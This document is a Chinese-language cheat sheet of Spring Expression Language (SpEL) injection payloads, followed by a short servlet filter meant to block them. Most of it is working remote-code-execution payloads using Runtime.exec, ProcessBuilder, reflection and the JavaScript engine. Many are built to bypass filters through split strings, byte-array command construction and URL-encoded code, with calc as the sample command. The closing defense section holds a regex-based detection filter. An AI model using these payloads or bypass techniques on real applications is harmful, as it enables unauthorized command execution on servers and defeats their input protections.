T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})
ban了getSuperClass
''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')
部分poc整理
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
******************************************************************************
// Bypass技巧
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
防御
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Pattern;
public class SpELInjectionFilter implements Filter {
// Regex pattern to detect potential SpEL injections
private static final Pattern SPEL_INJECTION_PATTERN = Pattern.compile("#\\{[^}]+\\}");
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Initialization code if necessary
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (request instanceof HttpServletRequest) {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// Check query parameters
for (String param : httpRequest.getParameterMap().keySet()) {
String[] values = httpRequest.getParameterValues(param);
for (String value : values) {
if (isPotentialSpELInjection(value)) {
throw new ServletException("Potential SpEL injection detected in parameter: " + param);
}
}
}
// Check headers
Enumeration<String> headerNames = httpRequest.getHeaderNames();
while (headerNames.hasMoreElements()) {
String header = headerNames.nextElement();
String headerValue = httpRequest.getHeader(header);
if (isPotentialSpELInjection(headerValue)) {
throw new ServletException("Potential SpEL injection detected in header: " + header);
}
}
}
// Continue with the filter chain
chain.doFilter(request, response);
}
@Override
public void destroy() {
// Cleanup code if necessary
}
// Method to check if a value contains potential SpEL injection patterns
private boolean isPotentialSpELInjection(String value) {
return SPEL_INJECTION_PATTERN.matcher(value).find();
}
}
web.xml
<filter>
<filter-name>SpELInjectionFilter</filter-name>
<filter-class>com.example.filters.SpELInjectionFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SpELInjectionFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
如果是springboot,过滤器类:
import com.example.filters.SpELInjectionFilter;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class MySpringBootApplication {
public static void main(String[] args) {
SpringApplication.run(MySpringBootApplication.class, args);
}
@Bean
public FilterRegistrationBean<SpELInjectionFilter> spELInjectionFilter() {
FilterRegistrationBean<SpELInjectionFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new SpELInjectionFilter());
registrationBean.addUrlPatterns("/*");
return registrationBean;
}
}